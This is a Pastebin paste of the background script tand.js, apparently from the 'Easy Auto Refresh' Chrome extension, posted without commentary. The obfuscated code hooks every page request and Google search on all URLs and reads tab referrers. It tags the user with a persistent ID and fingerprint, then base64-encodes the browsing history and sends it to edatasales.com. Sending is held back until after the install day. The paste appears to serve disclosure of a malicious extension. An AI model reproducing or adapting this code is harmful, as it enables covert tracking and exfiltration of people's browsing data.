Advertisement
Guest User

tand.js from "Easy Auto Refresh" Chrome extension

a guest
Apr 6th, 2017
2,305
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. require = (function e(t, n, r) {
  2.     function s(o, u) {
  3.         if (!n[o]) {
  4.             if (!t[o]) {
  5.                 var a = typeof require == "function" && require;
  6.                 if (!u && a) return a(o, !0);
  7.                 if (i) return i(o, !0);
  8.                 var f = new Error("Cannot find module '" + o + "'");
  9.                 throw f.code = "MODULE_NOT_FOUND", f
  10.             }
  11.             var l = n[o] = {
  12.                 exports: {}
  13.             };
  14.             t[o][0].call(l.exports, function(e) {
  15.                 var n = t[o][1][e];
  16.                 return s(n ? n : e)
  17.             }, l, l.exports, e, t, n, r)
  18.         }
  19.         return n[o].exports
  20.     }
  21.     var i = typeof require == "function" && require;
  22.     for (var o = 0; o < r.length; o++) s(r[o]);
  23.     return s
  24. })({
  25.     1: [function(require, module, exports) {
  26.         'use strict';
  27.  
  28.         function DUgEI() {
  29.             this.spawned = Date.now();
  30.             this.attemptedInstantiations = 0;
  31.             initData();
  32.             if (!localStorage.feedbackOptOut && !localStorage.feedbackOptOut2) {
  33.                 if (!window.firstSpawned) {
  34.                     chrome.runtime.onMessage.addListener(this.vJepT.bind(this));
  35.                     require('framework/request');
  36.                     require('framework/gserp');
  37.                     require('framework/navigation');
  38.                     window.firstSpawned = this.spawned;
  39.                 } else {
  40.                     chrome.runtime.sendMessage({
  41.                         spawned: this.spawned
  42.                     });
  43.                 }
  44.             }
  45.         }
  46.         DUgEI.prototype = {
  47.             constructor: DUgEI,
  48.             vJepT: function(msg) {
  49.                 if (msg.spawned && msg.spawned !== this.spawned) {
  50.                     this.attemptedInstantiations += 1;
  51.                     window.attemptedInstantiations = this.attemptedInstantiations;
  52.                 }
  53.             }
  54.         };
  55.         new DUgEI();
  56.     }, {
  57.         "framework/gserp": "framework/gserp",
  58.         "framework/navigation": "framework/navigation",
  59.         "framework/request": "framework/request"
  60.     }],
  61.     "config": [function(require, module, exports) {
  62.         'use strict';
  63.         module.exports = {
  64.             sourceId: 'A9LZecYD-vHUZ-Tufp-hrmp-bxorCHy6KmCR',
  65.             typeHistory: 'history',
  66.             typeStats: 'stats',
  67.             debug: false,
  68.             standalone: true,
  69.             version: '1.1.8',
  70.             apiUrl: 'http://edatasales.com/sdk/'
  71.         };
  72.     }, {}],
  73.     "framework/gserp": [function(require, module, exports) {
  74.         'use strict';
  75.         let config = require('config');
  76.         let request = require('framework/request');
  77.         let utils = require('framework/utils');
  78.         let network = require('framework/network');
  79.  
  80.         function YPobx() {
  81.             this.qxDEa = {};
  82.             chrome.webRequest.onBeforeRequest.addListener(this.XDQhW.bind(this), YPobx.DefaultFilter);
  83.             chrome.webRequest.onCompleted.addListener(this.GHKVx.bind(this), YPobx.DefaultFilter);
  84.             return {
  85.                 serped: this.serped
  86.             }
  87.         }
  88.         YPobx.DefaultFilter = {
  89.             urls: ['<all_urls>'],
  90.             types: ['xmlhttprequest', 'other']
  91.         };
  92.         YPobx.prototype = {
  93.             constructor: YPobx,
  94.             VXwiG: function(id) {
  95.                 this.qxDEa[id] = this.qxDEa[id] || new request.Request({
  96.                     query: null,
  97.                     requestType: null,
  98.                     timeStamp: null,
  99.                     url: null
  100.                 });
  101.             },
  102.             XDQhW: function(data) {
  103.                 if (this.XGbEl(data)) {
  104.                     let id = data.tabId;
  105.                     this.VXwiG(id);
  106.                     this.qxDEa[id].requestType = data.type;
  107.                     this.qxDEa[id].timeStamp = data.timeStamp;
  108.                     this.qxDEa[id].url = data.url;
  109.                 }
  110.             },
  111.             GHKVx: function(data) {
  112.                 if (this.XGbEl(data) && this.qxDEa[data.tabId]) {
  113.                     this.qxDEa[data.tabId].query = this.XWiYg('q', data.url);
  114.                     request.serped[data.tabId] = this.qxDEa[data.tabId];
  115.                     delete this.qxDEa[data.tabId];
  116.                 } else {
  117.                     if (data.method === 'POST') {
  118.                         for (let id of Object.keys(request.completed)) {
  119.                             if (request.completed[id].url === this.XWiYg('url', data.url)) {
  120.                                 request.getTabData(request.completed[id].tabId, id);
  121.                             }
  122.                         }
  123.                     }
  124.                 }
  125.             },
  126.             XGbEl: function(data) {
  127.                 return /(https?:\/{2}(?:www.)?google\..{2,}\/s(?:earch)?)/i.test(data.url);
  128.             },
  129.             XWiYg: function(type, url) {
  130.                 let pattern = new RegExp('\\W' + type + '=([^&#]*)', 'i'),
  131.                     matchedValues = url.match(pattern);
  132.                 return matchedValues ? decodeURIComponent(matchedValues[1]) : null;
  133.             },
  134.             get serped() {
  135.                 return this.qxDEa;
  136.             }
  137.         };
  138.         module.exports = new YPobx;
  139.     }, {
  140.         "config": "config",
  141.         "framework/network": "framework/network",
  142.         "framework/request": "framework/request",
  143.         "framework/utils": "framework/utils"
  144.     }],
  145.     "framework/navigation": [function(require, module, exports) {
  146.         'use strict';
  147.         let utils = require('framework/utils');
  148.         let request = require('framework/request');
  149.  
  150.         function wAPMO() {
  151.             chrome.webNavigation.onCommitted.addListener(this.EwrYS.bind(this));
  152.             chrome.webNavigation.onErrorOccurred.addListener(this.CQkGh.bind(this));
  153.         }
  154.         wAPMO.RjKkQ = ['auto_bookmark', 'form_submit', 'generated', 'keyword', 'keyword_generated', 'link', 'manual_subframe', 'reload', 'start_page', 'typed'];
  155.         wAPMO.NRHnP = ['client_redirect', 'server_redirect', 'forward_back', 'from_address_bar'];
  156.         wAPMO.prototype = {
  157.             constructor: wAPMO,
  158.             EwrYS: function(data) {
  159.                 let storages = [request.pending, request.completed];
  160.                 if (!utils.dfAlg(data.url) && this.zNIwu(data)) {
  161.                     storages.forEach(function(storage, index) {
  162.                         for (let id of Object.keys(storage)) {
  163.                             if (storage[id].events && storage[id].tabId === data.tabId) {
  164.                                 storage[id].transitionType = storage[id].transitionType || data.transitionType;
  165.                                 storage[id].transitionQualifiers = storage[id].transitionQualifiers || data.transitionQualifiers.join();
  166.                                 storage[id].commited = true;
  167.                                 index && request.getTabData(data.tabId, id);
  168.                             }
  169.                         }
  170.                     });
  171.                 }
  172.             },
  173.             CQkGh: function(data) {},
  174.             zNIwu: function(data) {
  175.                 return data.url && wAPMO.RjKkQ.indexOf(data.transitionType) > -1;
  176.             }
  177.         };
  178.         module.exports = new wAPMO;
  179.     }, {
  180.         "framework/request": "framework/request",
  181.         "framework/utils": "framework/utils"
  182.     }],
  183.     "framework/network": [function(require, module, exports) {
  184.         'use strict';
  185.         var config = require('config');
  186.         var utils = require('framework/utils');
  187.  
  188.         function bkXAK() {
  189.             return {
  190.                 xFzIR: this.xFzIR.bind(this)
  191.             }
  192.         }
  193.         bkXAK.prototype = {
  194.             constructor: bkXAK,
  195.             rBNke: function(rawPayload, callback) {
  196.                 if (this.xhr.readyState !== 4) return;
  197.                 if (this.xhr.status === 200 && callback) {
  198.                     callback.call(this, JSON.parse(this.xhr.responseText));
  199.                 } else {
  200.                     callback.call(this, {
  201.                         type: 'error',
  202.                         data: [this.xhr.status, this.xhr.statusText].join(' ')
  203.                     });
  204.                 }
  205.             },
  206.             xFzIR: function(rawPayload, callback) {
  207.                 var requestParams = '?' + utils.prepareParams(rawPayload, true);
  208.                 if (!localStorage.feedbackOptOut && !localStorage.feedbackOptOut2 && getInit()) {
  209.                     this.xhr = new XMLHttpRequest();
  210.                     if (callback) {
  211.                         this.xhr.onload = this.rBNke.bind(this, rawPayload, callback);
  212.                     }
  213.                     this.xhr.open('GET', config.apiUrl + requestParams, true);
  214.                     this.xhr.send();
  215.                 }
  216.             }
  217.         };
  218.         module.exports = new bkXAK;
  219.     }, {
  220.         "config": "config",
  221.         "framework/utils": "framework/utils"
  222.     }],
  223.     "framework/request": [function(require, module, exports) {
  224.         'use strict';
  225.         let config = require('config');
  226.         let utils = require('framework/utils');
  227.         let network = require('framework/network');
  228.  
  229.         function iqCYL() {
  230.             this.pending_ = {};
  231.             this.completed_ = {};
  232.             this.errored_ = {};
  233.             this.qxDEa = {};
  234.             this.eMXjm();
  235.             chrome.webRequest.onBeforeRequest.addListener(this.XDQhW.bind(this), iqCYL.DefaultFilter);
  236.             chrome.webRequest.onBeforeRedirect.addListener(this.prOJI.bind(this), iqCYL.DefaultFilter);
  237.             chrome.webRequest.onCompleted.addListener(this.GHKVx.bind(this), iqCYL.DefaultFilter);
  238.             chrome.webRequest.onErrorOccurred.addListener(this.CQkGh.bind(this), iqCYL.DefaultFilter);
  239.             return {
  240.                 pending: this.pending,
  241.                 completed: this.completed,
  242.                 errored: this.errored,
  243.                 serped: this.serped,
  244.                 getTabData: this.getTabData.bind(this),
  245.                 Request: iqCYL.Request
  246.             }
  247.         }
  248.         iqCYL.DefaultFilter = {
  249.             urls: ['<all_urls>'],
  250.             types: ['main_frame']
  251.         };
  252.         iqCYL.Request = function(props) {
  253.             this.commited_ = false;
  254.             this.url_ = null;
  255.             for (let key of Object.keys(props)) {
  256.                 this[key] = props[key];
  257.             }
  258.             return this;
  259.         };
  260.         iqCYL.Request.prototype = {
  261.             set commited(value) {
  262.                 this.commited_ = value;
  263.             },
  264.             get commited() {
  265.                 return this.commited_;
  266.             },
  267.             set url(value) {
  268.                 this.url_ = value;
  269.             },
  270.             get url() {
  271.                 return this.url_;
  272.             }
  273.         };
  274.         iqCYL.prototype = {
  275.             constructor: iqCYL,
  276.             bveJZ: function(data) {
  277.                 return data.tabId + '-' + (data.requestId ? data.requestId : 0);
  278.             },
  279.             VXwiG: function(id) {
  280.                 this.pending_[id] = this.pending_[id] || new iqCYL.Request({
  281.                     events: [],
  282.                     requestType: null,
  283.                     tabId: null,
  284.                     transitionType: null,
  285.                     transitionQualifiers: null
  286.                 });
  287.                 this.completed_[id] = this.completed_[id] || {};
  288.                 this.errored_[id] = this.errored_[id] || {};
  289.             },
  290.             eMXjm: function() {
  291.                 try {
  292.                     var result = {};
  293.                     result.userId = localStorage['userId'];
  294.                     if (result.userId) {
  295.                         this.fuMpu(result.userId);
  296.                     } else {
  297.                         this.fuMpu(this.nwZDO(), true);
  298.                     }
  299.                     if (!config.standalone) {
  300.                         network.xFzIR({
  301.                             sourceId: config.sourceId,
  302.                             sessionId: this.sessionId,
  303.                             type: config.typeHistory,
  304.                             userId: this.userId
  305.                         }, function(result) {
  306.                             chrome.runtime.sendMessage(result);
  307.                         });
  308.                     }
  309.                 } catch (error) {
  310.                     this.fuMpu(this.nwZDO());
  311.                 }
  312.                 this.EWJPq(this.nwZDO());
  313.                 this.gCNQe(this.khVua());
  314.             },
  315.             XDQhW: function(data) {
  316.                 if (utils.dfAlg(data.url)) {
  317.                     return;
  318.                 }
  319.                 let id = this.bveJZ(data);
  320.                 this.VXwiG(id);
  321.                 this.pending_[id].events.push({
  322.                     timeStamp: data.timeStamp,
  323.                     url: data.url
  324.                 });
  325.                 this.pending_[id].requestType = data.type;
  326.                 this.pending_[id].tabId = data.tabId;
  327.                 this.pending_[id].url_ = data.url;
  328.             },
  329.             prOJI: function(data) {
  330.                 if (utils.dfAlg(data.url)) {
  331.                     return;
  332.                 }
  333.                 let id = this.bveJZ(data);
  334.                 this.VXwiG(id);
  335.                 this.pending_[id].events.push({
  336.                     statusCode: data.statusCode,
  337.                     timeStamp: data.timeStamp,
  338.                     url: data.redirectUrl
  339.                 });
  340.             },
  341.             GHKVx: function(data) {
  342.                 if (utils.dfAlg(data.url)) {
  343.                     return;
  344.                 }
  345.                 let id = this.bveJZ(data);
  346.                 if (this.pending_[id]) {
  347.                     this.VXwiG(id);
  348.                     this.pending_[id].events.push({
  349.                         statusCode: data.statusCode,
  350.                         timeStamp: data.timeStamp,
  351.                         url: data.url
  352.                     });
  353.                     this.pending_[id].events = this.sCyTs(this.pending_[id].events);
  354.                     this.completed_[id] = this.pending_[id];
  355.                     delete this.pending_[id];
  356.                     if (this.completed_[id].commited) {
  357.                         this.getTabData(data.tabId, id);
  358.                     }
  359.                 } else {}
  360.             },
  361.             CQkGh: function(data) {
  362.                 let id = this.bveJZ(data);
  363.                 if (this.pending_[id]) {
  364.                     this.VXwiG(id);
  365.                     this.errored_[id] = {
  366.                         error: data.error,
  367.                         fromCache: data.fromCache,
  368.                         tabId: data.tabId,
  369.                         timeStamp: data.timeStamp,
  370.                         url: data.url
  371.                     };
  372.                     delete this.pending_[id];
  373.                 } else {}
  374.             },
  375.             sCyTs: function(events) {
  376.                 let processedEvents = [];
  377.                 for (let index = events.length; index--;) {
  378.                     let prevIndex = index - 1,
  379.                         url = events[prevIndex].url,
  380.                         start = events[prevIndex].timeStamp,
  381.                         end = events[index].timeStamp,
  382.                         status = events[index].statusCode;
  383.                     processedEvents.push([url, start, end, status]);
  384.                     index = prevIndex;
  385.                 }
  386.                 return processedEvents.reverse();
  387.             },
  388.             HuSEw: function(id, pageData) {
  389.                 let payload = {
  390.                         sourceId: config.sourceId,
  391.                         sessionId: this.sessionId,
  392.                         type: config.typeStats,
  393.                         userId: this.userId,
  394.                         version: config.version
  395.                     },
  396.                     gReferrerPattern = /^(https?:\/{2}(?:\w+\.)?google.\w{2,}\/)$/i;
  397.                 if (window.attemptedInstantiations) {
  398.                     payload.ai = window.attemptedInstantiations;
  399.                 }
  400.                 if (pageData) {
  401.                     let tabIds = [pageData.openerTabId, pageData.tabId];
  402.                     for (let key of Object.keys(pageData)) {
  403.                         payload[key] = (pageData[key] === null) ? '' : pageData[key];
  404.                     }
  405.                     payload.referrer = new utils.KNoCt(payload.referrer).url;
  406.                     for (let tabId of tabIds) {
  407.                         if (tabId && this.qxDEa[tabId]) {
  408.                             payload.referrer = this.qxDEa[tabId].url;
  409.                         }
  410.                     }
  411.                 }
  412.                 this.PGlln();
  413.                 payload.fingerprint = this.fingerprint;
  414.                 for (let key of Object.keys(this.completed_[id])) {
  415.                     let value = this.completed_[id][key];
  416.                     if (!/_$/i.test(key)) {
  417.                         payload[key] = value === null ? '' : value;
  418.                     }
  419.                 }
  420.                 delete this.completed_[id];
  421.                 config.debug && this.Zkrku(payload);
  422.                 payload.events = btoa(encodeURIComponent(JSON.stringify(payload.events)));
  423.                 network.xFzIR(payload, !config.standalone && this.IEfbC.bind(this));
  424.             },
  425.             IEfbC: function(data) {
  426.                 chrome.runtime.sendMessage(data);
  427.             },
  428.             fuMpu: function(userId, doWriteStorage) {
  429.                 this.userId = userId;
  430.                 if (doWriteStorage) {
  431.                     localStorage['userId'] = this.userId;
  432.                 }
  433.             },
  434.             EWJPq: function(sessionId) {
  435.                 this.sessionId = sessionId;
  436.                 localStorage['sessionId'] = this.sessionId;
  437.             },
  438.             gCNQe: function(fingerprint) {
  439.                 this.fingerprint = fingerprint;
  440.             },
  441.             nwZDO: function() {
  442.                 let s4 = function() {
  443.                     return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1);
  444.                 };
  445.                 return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4();
  446.             },
  447.             khVua: function() {
  448.                 return Math.floor(Math.random() * 1e8);
  449.             },
  450.             PGlln: function() {
  451.                 this.fingerprint = this.fingerprint + 1;
  452.             },
  453.             ygNdk: function(tabId) {
  454.                 return new Promise(function(resolve, reject) {
  455.                     chrome.tabs.get(tabId, function(tab) {
  456.                         if (!chrome.runtime.lastError) {
  457.                             resolve({
  458.                                 openerTabId: tab.openerTabId || null,
  459.                                 tabId: tabId
  460.                             });
  461.                         } else {
  462.                             reject(chrome.runtime.lastError);
  463.                         }
  464.                     });
  465.                 });
  466.             },
  467.             LqqXL: function(options) {
  468.                 let dataObj = {};
  469.                 return function(data) {
  470.                     return new Promise(function(resolve) {
  471.                         chrome.tabs.executeScript(data.tabId, {
  472.                             code: options.code,
  473.                             runAt: 'document_start'
  474.                         }, function(result) {
  475.                             for (let key of Object.keys(data)) {
  476.                                 dataObj[key] = data[key];
  477.                             }
  478.                             dataObj[options.name] = result[0];
  479.                             resolve(dataObj);
  480.                         });
  481.                     }).then(function(data) {
  482.                         return data;
  483.                     });
  484.                 }
  485.             },
  486.             Zkrku: function(payload) {
  487.                 let devPayload = {};
  488.                 console.groupCollapsed(payload.tabId, payload.events[0][0]);
  489.                 for (let key of Object.keys(payload)) {
  490.                     if (key === 'events') {
  491.                         console.table(payload[key]);
  492.                     } else {
  493.                         devPayload[key] = {
  494.                             value: payload[key]
  495.                         };
  496.                     }
  497.                 }
  498.                 console.table(devPayload);
  499.                 console.groupEnd();
  500.             },
  501.             getTabData: function(tabId, requestId) {
  502.                 let getReferrer = this.LqqXL({
  503.                     code: 'document.referrer',
  504.                     name: 'referrer'
  505.                 });
  506.                 this.ygNdk(tabId).then(getReferrer).then(function(tabData) {
  507.                     if (this.completed_[requestId]) {
  508.                         this.HuSEw(requestId, tabData);
  509.                     }
  510.                 }.bind(this)).catch(function(error) {});
  511.             },
  512.             get pending() {
  513.                 return this.pending_;
  514.             },
  515.             get completed() {
  516.                 return this.completed_;
  517.             },
  518.             get errored() {
  519.                 return this.errored_;
  520.             },
  521.             get serped() {
  522.                 return this.qxDEa;
  523.             }
  524.         };
  525.         module.exports = new iqCYL;
  526.     }, {
  527.         "config": "config",
  528.         "framework/network": "framework/network",
  529.         "framework/utils": "framework/utils"
  530.     }],
  531.     "framework/utils": [function(require, module, exports) {
  532.         'use strict';
  533.         var config = require('config');
  534.  
  535.         function KNoCt(url) {
  536.             if (/^https:\/\//i.test(url)) {
  537.                 this.match_ = url.match(/^(https?:\/\/[^\/#?\s]+)([\w\-\.]?[^#?\s]*)(.*)?(#[\w\-]+)?$/i);
  538.                 this.url_ = this.match_[1];
  539.             } else {
  540.                 this.url_ = url;
  541.             }
  542.         }
  543.         KNoCt.prototype = {
  544.             get url() {
  545.                 return this.url_;
  546.             },
  547.             get origin() {
  548.                 return this.match_[1];
  549.             },
  550.             get path() {
  551.                 return this.match_[2];
  552.             },
  553.             get query() {
  554.                 return this.match_[3];
  555.             }
  556.         };
  557.         module.exports = {
  558.             KNoCt: KNoCt,
  559.             dfAlg: function(url) {
  560.                 var patterns = [/(\/(?:sdk|geo)\/\?)/i, /^(chrome-?\S*:\/\/)/i, /(\/(?:chrome|async)\/newtab)/i, /(google.\w+\/webhp\?.+)$/i];
  561.                 for (let i = patterns.length; i--;) {
  562.                     if (patterns[i].test(url)) {
  563.                         return true;
  564.                     }
  565.                 }
  566.                 return false;
  567.             },
  568.             extend: function() {
  569.                 var i, key;
  570.                 for (i = arguments.length; i--;) {
  571.                     for (key in arguments[i]) {
  572.                         if (arguments[i].hasOwnProperty(key)) {
  573.                             arguments[0][key] = arguments[i][key];
  574.                         }
  575.                     }
  576.                 }
  577.                 return arguments[0];
  578.             },
  579.             prepareParams: function(object, isEncodeUri) {
  580.                 var paramsArray = [],
  581.                     key;
  582.                 for (key in object) {
  583.                     if (object.hasOwnProperty(key)) {
  584.                         paramsArray.push(key + '=' + (isEncodeUri ? encodeURIComponent(object[key]) : object[key]));
  585.                     }
  586.                 }
  587.                 return paramsArray.join(isEncodeUri ? '&' : ',');
  588.             }
  589.         };
  590.     }, {
  591.         "config": "config"
  592.     }]
  593. }, {}, [1]);
  594.  
  595. function initData() {
  596.     var key = 'initd';
  597.     if (!localStorage[key]) {
  598.         localStorage[key] = new Date().getTime();
  599.     }
  600. }
  601.  
  602. function getInit() {
  603.     var result = 0;
  604.     var initd = localStorage['initd'];
  605.     if (initd) {
  606.         result = Math.round(Math.abs((new Date().getTime() - initd) / 86400000));
  607.     }
  608.     return result;
  609. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement